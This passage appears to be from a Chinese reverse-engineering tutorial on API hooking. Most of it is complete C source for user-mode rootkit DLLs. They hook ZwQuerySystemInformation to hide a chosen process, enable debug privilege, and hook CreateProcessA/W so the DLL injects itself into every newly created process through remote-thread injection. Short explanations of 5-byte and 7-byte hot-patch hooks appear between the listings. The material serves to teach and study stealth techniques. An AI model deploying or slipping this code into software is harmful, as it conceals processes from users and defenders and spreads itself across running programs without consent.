BYTE g_OrgByteCPA[5] = { 0, };
BYTE g_OrgByteCPW[5] = { 0, };
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明，后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL(WINAPI* PFCREATEPROCESSA)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessA的函数声明
typedef BOOL(WINAPI* PFCREATEPROCESSW)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessW的函数声明
BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;
prOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用
if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;
VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限（因为JMP指令只有5个字节）
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置（JMP指令跳转的位置不是绝对地址，而是与当前位置的相对地址）
//相对位置 = 目标位置 - 当前位置 - 指令长度（5字节）
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限
return TRUE;
}
BOOL unhook_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;
if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!\n");
return TRUE;
}
}
BOOL inject(HANDLE hProcess, LPCTSTR szDllPath) //后面钩取CreateProcess后要在这个DLL内将DLL再次注入新创建的进程
{
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存
WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数（即DLL路径）
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间
CloseHandle(hThread);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI); //先进行脱钩
pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); //获取原始API的地址
//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}
if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换，现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;
while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], PROC_TO_HIDE))
{
//当找到目标进程时有两种情况：1.下一个节点为0，也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 函数终止前，再次执行API钩取操作，为下次调用准备
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
return status;
}
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;
unhook_code("kernel32.dll", "CreateProcessA", g_OrgByteCPA); //先进行脱钩
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
bRet = ((PFCREATEPROCESSA)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessA
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL);
}
hook_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_OrgByteCPA);
return bRet;
}
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;
unhook_code("kernel32.dll", "CreateProcessW", g_OrgByteCPA); //先进行脱钩
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
bRet = ((PFCREATEPROCESSW)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessW
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL); //CreateProcess创建的进程中lpProcessInformation这个参数中包含了对应进程的句柄
}
hook_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_OrgByteCPW);
return bRet;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0, };
char* p = NULL;
EnableDebugPriv();
GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);
//1.异常处理：如果当前进程名字为HideProc.exe（即注入程序），则终止，不进行钩取。
p = strrchr(szCurentProcName, '\\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc2.exe"))
return TRUE;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
hook_code("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA, g_OrgByteCPA);
hook_code("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW, g_OrgByteCPW);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩，恢复其原始形态
unhook_code("ntdll.dll", "ZwQuerySystemInformation",g_OrgByteZwQSI);
unhook_code("kernel32.dll", "CreateProcessA", g_OrgByteCPA);
unhook_code("kernel32.dll", "CreateProcessW", g_OrgByteCPW);
break;
}
return TRUE;
}
程序的大体逻辑没有发生改变，主要是多出了有关CreateProcessA/W钩取的部分，以及部分操作的更改：
1. 挂钩函数（hook_code）
2. 脱钩函数（unhook_code）
3. 钩取后重定义的目标API函数1（NewZwQuerySystemInformation）
4. 钩取重定义后的目标API函数2（NewCreateProcessA\W）
5. 进行挂钩和脱钩的主函数（DllMain）
下面对其中比较重要的部分进行分析
## NewCreateProcessA\W：
在新的源码中最为重要的就是有关CreateProcess函数的钩取。
函数的功能是创建一个新进程及其主线程。原始API函数的结构如下：
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
A\W版本的对应变化不打，主要是使用的字符编码问题，所以在源码中进行的相应操作也相差不大。
# 7字节钩取：
下面介绍一种新的钩取方式：7字节钩取，又称 **热补丁技术** 。
首先来看一下几个API的其实代码部分：
RtReleasePath：
RtlReleaseSRWLockExclusive：
可以发现这些API都有一个共同点：
函数的起始位置以及其前面5个字节的结构是固定的：
int3
int3
int3
int3
int3
mov edi,edi
也就是5个空指令以及一个mov
edi,edi，总共7字节大小的部分结构是固定的，且这7个字节的指令无论如何更改都是对原本API函数的运行流程没有影响的。Windows这样设计的目的就是为了方便在后面进行热补丁修改。
那么要如何利用这7个字节呢？一般是通过一个长跳转与一个短跳转结合来实现的。
首先将mov edi,edi这条指令的两个字节更改为EB
F9，这是一个短跳转指令，F9是-7的补码表现形式，也就是说，将这个指令更改为向前跳转7个字节，也就是5个空指令开始的地方（短跳转范围是-128到127）。
然后，由于空指令的长度是5个字节，刚好满足一个无条件跳转指令的长度（即JMP XXXXXX指令），所以可以在这里设置将程序的执行流劫持到自定义函数上。
这个方法相较于前面的5字节钩取，就是原API函数的实际运行部分没有收到任何影响，所以在
**后续的调用中可以直接调用原始API函数而不用再次进行麻烦的脱钩及挂钩操作，而是直接将函数的起始位置更改为原起始位置的+2字节处即可。**
这个方法虽然直观上看起来是比5字节钩取更好的，但是它的运用范围并没有5字节钩取大，因为并不是每个API都可以使用7字节钩取，比如ntdll的原生API。所以在本次操作中的ZwQuerySystemInformation依然使用5字节钩取，但属于kernel32.dll的CreateProcess就可以使用7字节钩取。
# stealth3.dll：
首先还是先给出具体的源码及注释：
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
#define INJECT_DLL (L"stealth3.dll")
#define PROC_TO_HIDE (L"notepad.exe")
#define STATUS_SUCCESS (0x00000000L) //NTSTATUS中表示成功的数值为0
BYTE g_OrgByteZwQSI[5] = { 0, };
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI* PFZWQUERYSYSTEMINFORMATION) //关于ZwQuerySystemInformation函数的函数申明，后面会调用这个函数
(SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef BOOL(WINAPI* PFCREATEPROCESSA)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessA的函数声明
typedef BOOL(WINAPI* PFCREATEPROCESSW)
(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
); //CreateProcessW的函数声明
BOOL hook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew) //挂钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
BYTE Buf[5] = { 0xE9,0, };
byte buf2[2] = { 0xEB,0xF9 };
PBYTE pByte = NULL;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取原始API函数的地址
pByte = (PBYTE)pFunc;
if (pByte[0] == 0xEB) //判断是否已经处于钩取状态
return FALSE;
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改相应内存区域的读写执行权限
dwAddress = (DWORD)prNew - (DWORD)pFunc; //由于跳转的起始位置是在原始API函数的起始位置向上5字节的地方，所以这里是没有-5的
memcpy(&Buf[1], &dwAddress, 4);
memcpy((LPVOID)((DWORD)pByte - 5), Buf, 5); //首先修改原API函数的前5个字节为相应的跳转指令
memcpy(pFunc, buf2, 2); //再修改API函数开头位置上的第一条指令为短跳转，使程序的执行流被劫持到前面5个字节的长跳转指令上
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL unhook_code_hotpatch(LPCSTR szDllName, LPCSTR szFuncName) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;
byte Buf1[5] = { 0x90,0x90 ,0x90 ,0x90 ,0x90 }; //在API函数的起始位置的前5个字节为五个空指令
byte Buf2[2] = { 0x8B,0xFF }; //API函数起始的一条指令即使mov edi,edi
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;
if (pByte[0] != 0xEB) //判断是否已经处于脱钩状态
return FALSE;
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy((LPVOID)((DWORD)pByte - 5), Buf1, 5); //还原原API函数的结构
memcpy(pFunc, Buf2, 2);
VirtualProtect((LPVOID)((DWORD)pFunc - 5), 7, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL hook_code(LPCSTR szDllName, LPCSTR szFuncName, PROC prNew, PBYTE pOrgbyte) //挂钩函数
{
FARPROC prOrg = NULL;
DWORD dwOldProtect = 0;
DWORD dwAddress = 0;
byte Buf[5] = { 0xE9,0, };
PBYTE pByte = NULL;
prOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取需要钩取的API的原始地址
pByte = (PBYTE)prOrg; //将获取到的地址转化为一个指针方便后面的使用
if (pByte[0] == 0xE9) //检查该处是否已处于挂钩状态,如果是则跳过挂钩过程
return FALSE;
VirtualProtect((LPVOID)prOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改5个字节的内存保护权限（因为JMP指令只有5个字节）
memcpy(pOrgbyte, prOrg, 5); //保存原始API开头的5个字节
dwAddress = (DWORD)prNew - (DWORD)prOrg - 5; //计算需要跳转的位置（JMP指令跳转的位置不是绝对地址，而是与当前位置的相对地址）
//相对位置 = 目标位置 - 当前位置 - 指令长度（5字节）
memcpy(&Buf[1], &dwAddress, 4); //获取跳转位置
memcpy(prOrg, Buf, 5); //挂钩操作
VirtualProtect((LPVOID)prOrg, 5, dwOldProtect, &dwOldProtect); //复原原始内存区域的安全权限
return TRUE;
}
BOOL unhook_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgbyte) //脱钩函数
{
FARPROC pFunc = NULL;
DWORD dwOldProtect = 0;
PBYTE pByte = NULL;
pFunc = (FARPROC)GetProcAddress(GetModuleHandleA(szDllName), szFuncName); //获取 所需要钩取的API函数的原始地址
pByte = (PBYTE)pFunc;
if (pByte[0] != 0xE9) //判断是否已经处于脱钩状态
return FALSE;
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(pByte, pOrgbyte, 5); //脱钩操作
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, &dwOldProtect);
return TRUE;
}
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!\n");
return TRUE;
}
}
BOOL inject(HANDLE hProcess, LPCTSTR szDllPath) //后面钩取CreateProcess后要在这个DLL内将DLL再次注入新创建的进程
{
HANDLE hThread = NULL;
LPVOID lpRemoteBuf = NULL;
DWORD BufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
lpRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE); //为远程线程参数分配内存
WriteProcessMemory(hProcess, lpRemoteBuf, (LPVOID)szDllPath, BufSize, NULL); //写入参数（即DLL路径）
pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, lpRemoteBuf, 0, NULL); //创建远程线程
WaitForSingleObject(hThread, INFINITE);
VirtualFreeEx(hProcess, lpRemoteBuf, 0, MEM_RELEASE); //释放掉相应空间
CloseHandle(hThread);
return TRUE;
}
NTSTATUS WINAPI NewZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
NTSTATUS status;
FARPROC pFunc;
PSYSTEM_PROCESS_INFORMATION pCur, pPrev;
unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI); //先进行脱钩
pFunc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwQuerySystemInformation"); //获取原始API的地址
//再次调用这个原始的API函数以获取进程信息
status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (status != STATUS_SUCCESS) //当API函数执行不成功时跳转至结束处理
{
goto __NTQUERYSYSTEMINFORMATION_END;
}
if (SystemInformationClass == SystemProcessInformation) //只关注SystemProcessInformation这一个类型的操作
{
//进行SystemProcessInformation的类型转换，现在pCur则是一个指向存储运行中所有进程结构体链表的链表头
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
pPrev = NULL;
while (TRUE)
{
//循环比较找到需要隐藏的目标程序的结构体
if (pCur->Reserved2[1] != NULL)
{
if (!_tcsicmp((PWSTR)pCur->Reserved2[1], PROC_TO_HIDE))
{
//当找到目标进程时有两种情况：1.下一个节点为0，也就是链表结束 2.下一个节点不为0
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0; //直接把上一个节点的下一个成员值置为0
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将上一个节点指向下一个节点的偏移加上当前节点指向下一个节点的偏移
}
else
pPrev = pCur; //没有匹配到则向下推进
}
if (pCur->NextEntryOffset == 0) //遍历到结尾则退出
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset); //将当前的pCur移动至下一个节点
}
}
__NTQUERYSYSTEMINFORMATION_END:
// 函数终止前，再次执行API钩取操作，为下次调用准备
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
return status;
}
BOOL WINAPI NewCreateProcessA(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;
//热补丁的钩取不用进行脱钩操作，只要将执行API函数的起始地址+2略过跳转指令即可
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessA");
pFunc = (FARPROC)((DWORD)pFunc + 2);
bRet = ((PFCREATEPROCESSA)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessA
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL);
}
return bRet;
}
BOOL WINAPI NewCreateProcessW(
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet;
FARPROC pFunc = NULL;
//热补丁的钩取不用进行脱钩操作，只要将执行API函数的起始地址+2略过跳转指令即可
pFunc = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateProcessW");
pFunc = (FARPROC)((DWORD)pFunc + 2);
bRet = ((PFCREATEPROCESSW)pFunc)(
lpApplicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
); //重新调用CreateProcessW
if (bRet) //向新创建的进程再次注入DLL
{
inject(lpProcessInformation->hProcess, INJECT_DLL); //CreateProcess创建的进程中lpProcessInformation这个参数中包含了对应进程的句柄
}
return bRet;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
char szCurentProcName[MAX_PATH] = { 0, };
char* p = NULL;
EnableDebugPriv();
GetModuleFileNameA(NULL, szCurentProcName, MAX_PATH);
//1.异常处理：如果当前进程名字为HideProc.exe（即注入程序），则终止，不进行钩取。
p = strrchr(szCurentProcName, '\\'); //获得当前进程的应用程序名
if (p != NULL && !_stricmp(p + 1, "HideProc2.exe"))
return TRUE;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //进行API钩取
hook_code("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, g_OrgByteZwQSI);
hook_code_hotpatch("kernel32.dll", "CreateProcessA", (PROC)NewCreateProcessA);
hook_code_hotpatch("kernel32.dll", "CreateProcessW", (PROC)NewCreateProcessW);
break;
case DLL_PROCESS_DETACH: //将API进行脱钩，恢复其原始形态
unhook_code("ntdll.dll", "ZwQuerySystemInformation", g_OrgByteZwQSI);
unhook_code_hotpatch("kernel32.dll", "CreateProcessA");
unhook_code_hotpatch("kernel32.dll", "CreateProcessW");
break;
}
return TRUE;
}
程序的逻辑并无太大的改变，主要是几个细节上的问题，下面来具体分析一下
## hook_code_hotpatch（unhook_code_hotpatch）：
首先要关注的就是原始缓冲区硬编码的变化：
BYTE Buf[5] = { 0xE9,0, };
byte buf2[2] = { 0xEB,0xF9 };
以及：
byte Buf1[5] = { 0x90,0x90 ,0x90 ,0x90 ,0x90 };
byte Buf2[2] = { 0x8B,0xFF };
第一个对应的是更改后的7个字节的数据：
0xE9代表JMP跳转指令，0xEB代表短跳转指令
第二个的0x90以及 0x8B,0xFF对应原来的空指令以及mov edi,edi
还有就是关于这里的具体跳转地址dwAddress的计算，根据前面的源码可以知道在5字节钩取的情况下，跳转地址的计算方式是：
跳转地址 = 目标跳转地址 - 当前位置地址 - 指令长度（5字节）
其实这里道理是差不多的，只不过由于现在起始的位置是原始API开始的前5个字节处，所以现在这个计算方法应该写为：
xxxxxxxxxx 跳转地址 = 目标跳转地址 - （当前位置地址-5） - 指令长度（5字节） = 目标跳转地址 - 当前位置地址
表现在代码中就是直接的：
dwAddress = (DWORD)prNew - (DWORD)pFunc
## NewCreateProcessA\W：
在7字节钩取的条件下这两个函数的中间过程就变得更加简单（因为略去了挂钩与脱钩操作）
唯一需要注意的一点就是关于API的再次调用：
pFunc = (FARPROC)((DWORD)pFunc + 2);
这里会将对应的API函数起始位置+2，也就是略过挂钩的部分，由于这两个字节对原始API的运行没有任何影响，所以可以直接略过来再次执行API函数。
# 运行测试：
本次运行在XP环境下实现：
首先是stealth.dll的注入：
首先在最开始的process exploer中是可以看到这个notepad.exe的进程的，这时运行注入程序注入DLL：
其中smss.exe这些系统进程有可能注入失败，影响不大，此时再看一下process explorer的界面：
